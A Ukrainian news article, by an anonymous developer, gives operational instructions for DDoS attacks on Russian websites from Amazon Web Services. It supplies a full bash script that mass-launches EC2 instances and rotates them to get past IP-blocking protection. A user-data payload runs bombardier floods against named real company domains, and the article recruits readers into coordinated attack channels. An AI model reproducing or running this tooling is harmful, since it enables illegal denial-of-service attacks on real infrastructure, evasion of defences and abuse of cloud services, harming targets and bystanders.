Анонімний український розробник (якому ми довіряємо) написав для AIN.UA другу частину інструкції про те, як розгорнути DDoS російських сайтів на Amazon Web Services.
У попередній статті була інструкція, як просто створювати інстанси (сервери), які бомблять пакетами російські інфопомийки. Але той підхід має і певні недоліки. Основний з яких: нестійкість до сайтів з DDoS-захистом, які працюють на основі блокування IP-адрес клієнтів при великій кількості пакетів, надісланих з цих клієнтів. У цій статті спробую розповісти, як ефективно боротись з цим типом захисту від DDoS.
У більшості випадків захист від DDoS працює таким чином, що пропускає порцію пакетів з однієї IP-адреси за якийсь визначений проміжок часу, і після досягнення певного порогу по кількості запитів IP-адреса блокується. У цьому випадку ми маємо не просто запускати інстанси та забути за них, а ще й перевіряти їхній стан або робити примусову ротацію серверів на нові.
Другий варіант простіший розглянемо саме його. У випадку, коли IP-адреса блокується, потрібно видалити інстанс і підняти новий. У момент створення інстансу AWS алокує зі свого пулу IP-адрес нову адресу, яка ще не заблокована. Взявши за основу цю ідею, давайте приготуємо рішення.
Для цього буде потрібно встановити консольну утиліту aws-cli, яка дозволить віддалено керувати серверною інфраструктурою з вашого комп’ютера.
Крок 1. Створення IAM User
На цьому етапі в вас вже має бути створений AWS-аккаунт. А якщо ні, то ознайомтеся з першою частиною з попередньої статті.
Створюємо юзера, від імені якого будуть робитись всі наступні дії.
Переходимо сюди та починаємо створення нового юзера.
Даємо ім’я та обов’язково включаємо чекбокс Programmatic access:
На цьому етапі додаємо наступні права:
Інші кроки пропускаємо, створюємо юзера і тепер найголовніше. Після створення юзера збережіть Access key ID та Secret access key. Далі вони нам знадобляться.
Крок 2. Встановлення AWS-CLI
Це консольна утиліта. Вона буде керувати запуском та ротацією інстансів з вашого комп’ютера.
Встановити досить просто, переходимо за посиланням.
Та в залежності від вашої OS обираєте потрібний розділ. Там на вас чекає лише один крок.
Встановили? Чудово, тепер конфігуруємо aws-cli:
Вказуємо Access Key ID та Secret Access Key. Регіон та формат виводу можна залишити будь-яким, або як на скріншоті. Все одно він буде перевизначений скриптом.
Вітаю. Конфігурація закінчена. Тепер переходимо до самого скрипта, який керуватиме армією бандерінстансів.
Крок 3. Готуємо скрипт керування серверами
Створіть файл ddos.sh та додайте йому прав на виконання chmod +x ddos.sh
Скопіюйте в нього цей скрипт.
#!/bin/bash
# Amount of instances for DDoS
count=50
# Region
region="eu-west-2"
# Rotation interval.
rotationInterval=300 # in seconds. 5minutes by default
# Get VPC id
# Attention! If you have more than one VPC, replace it by proper one
vpc=$(aws ec2 describe-vpcs \
--region $region \
--query "Vpcs[].VpcId" \
--no-cli-pager \
--output text | awk '{print $1}')
# Get security group id
sg=$(aws ec2 describe-security-groups \
--region $region \
--filters Name=group-name,Values=it-army-security-group \
--query "SecurityGroups[*].[GroupId]" \
--no-cli-pager --output text)
function launch {
# Launch Instances
instances=$(aws ec2 run-instances \
--region $region \
--image-id ami-060c4f2d72966500a \
--count $count \
--instance-type t2.micro \
--security-group-ids $sg \
--user-data file://user-data.txt \
--no-cli-pager --output text \
--query "Instances[*].[InstanceId]" | tr '\r\n' ' ')
# Add tags for newly created instances
aws ec2 create-tags \
--region $region \
--resources $instances \
--tags Key=banderinstance,Value= \
--no-cli-pager --output text
echo "Launched instances: $instances"
}
function terminate {
# List running instances
instances=$(aws ec2 describe-instances \
--region $region \
--filters "Name=tag-key,Values=banderinstance" "Name=instance-state-name,Values=running" \
--query "Reservations[*].Instances[*].InstanceId" \
--no-cli-pager --output text | tr '\r\n' ' ')
# Terminate running instances
terminatedInstances=$(aws ec2 terminate-instances \
--region $region \
--instance-ids $instances \
--query "TerminatingInstances[*].InstanceId" \
--no-cli-pager --output text)
echo "Terminated instances: $terminatedInstances"
}
function setup {
# Create a security group
aws ec2 create-security-group --region $region --group-name it-army-security-group --description "IT Army" --vpc-id $vpc --no-cli-pager --output text
}
if [ $1 = "setup" ]; then
setup
elif [ $1 = "terminate" ]; then
terminate
else
# Instance Rotation
echo "Press [Cmd+C] to stop..."
iteration=1
while true
do
echo "DDos Iteration ${iteration}"
iteration=$((iteration+1))
launch
sleep $rotationInterval
terminate
done
fi
Цей скрипт вміє підіймати сотні або тисячі інстансів, та займатись їхньою ротацією. Це означає, що по заданому інтервалу будуть підійматися нові сервери з новими IP-адресами із загального пула AWS, а поточні будуть видалятись. Таким чином, ми обходимо захист від DDoS на основі блокування IP-адрес.
Зверніть увагу, що сам DDoS виконується на потужностях AWS. Тобто, ви можете підняти хоч 1000 або 10 000 інстансів і створити справжню армію бандерінстансів, які генерують тони трафіку, але йдемо далі.
Ці параметри ви можете змінити за бажанням:
count – Кількість серверів які працюють водночас. Може бути як 1 так і 50 або 10 000, але це жорстко.
region – eu-west-1,eu-west-2 або eu-west-3 або будь який інший з доступних
rotationInterval – раз на цей інтервал всі дійсні бандерінстанси будуть замінюватись на нові.
Створіть файл user-data.txt в тій самій директорії, де ddos.sh, та в середину покладіть це:
#!/bin/bash
yum update -y
yum install docker -y
systemctl enable docker.service
systemctl start docker.service
# ============= TARGET WEBSITES ==============
cat <<EOF > targets.txt
transneft.ru
tektorg.ru
rosneft.com
lukoil.com
gazprom.ru
EOF
# =========== END TARGET WEBSITES ============
for target in $(cat targets.txt)
do
docker run -d --rm alpine/bombardier -c 10000 -d 1h -l $target
done
Це є скрипт, який виконується під час створення та запуску для кожного з інстансів у кластері.
- Зверніть увагу! Цей код виконується лише раз на момент створення інстансів. Тобто зупиняти інстанси, а потім запускати знов не треба.
Добрі люди запропонували оновлений варіант цього скрипта, я його інтегрував і тепер інстанс одразу може атакувати багато цілей. Цей маленькій фікс виявився дуже корисним, дякую автору.
Друзі, від вас надходить багато різних ідей, редакція AIN.UA передає мені всі пропозиції. Буду вдячний за будь які оформлені ідеї. Все це робиться на швидку руку і ваш фідбек та корисні пропозиції будуть одразу додаватися до цієї статті.
Крок 4. Запуск
Спочатку потрібно виконати базову конфігурацію, виконуємо команду:
./ddos.sh setup
Ця команда створює Security Group яка буде підв’язуватись до всіх наступних бандерінстансів, щоб не смітити в конфігурації.
Запускаємо DDoS
./ddos.sh
Зверніть увагу, що ви можете просто оновлювати цілі в user-data.txt в розділі targets, і нові інстанси будуть працювати по новим цілям.
Щоб потушити всі інстанси, виконайте цю команду.
./ddos.sh terminate
Крок 5. Як діяти централізовано та ефективно
Знайшов Telegram-канал, який централізовано робить DDoS по ворогу, долучайтесь.
І наша IT Армія, раптом хтось ще не там, приєднуйтесь.
Пропонуйте, як покращити ефективність DDoS, для цього пишіть в редакцію свої пропозиції, або якщо щось не спрацювало. Це важливо, бо інструкція має бути дієвою.
Чого не вистачає з того, що зараз бачу:
- Інструкція для Windows. Ця інструкція підходить для Mac- та Linux-користувачів.
- Аналізу та збору з інстансів, відправлених та доставлених пакетів, щоб вимірювати ефективність DDoS-атаки. (у розробці)
Друзі, вдалого полювання, тримаймо стрій.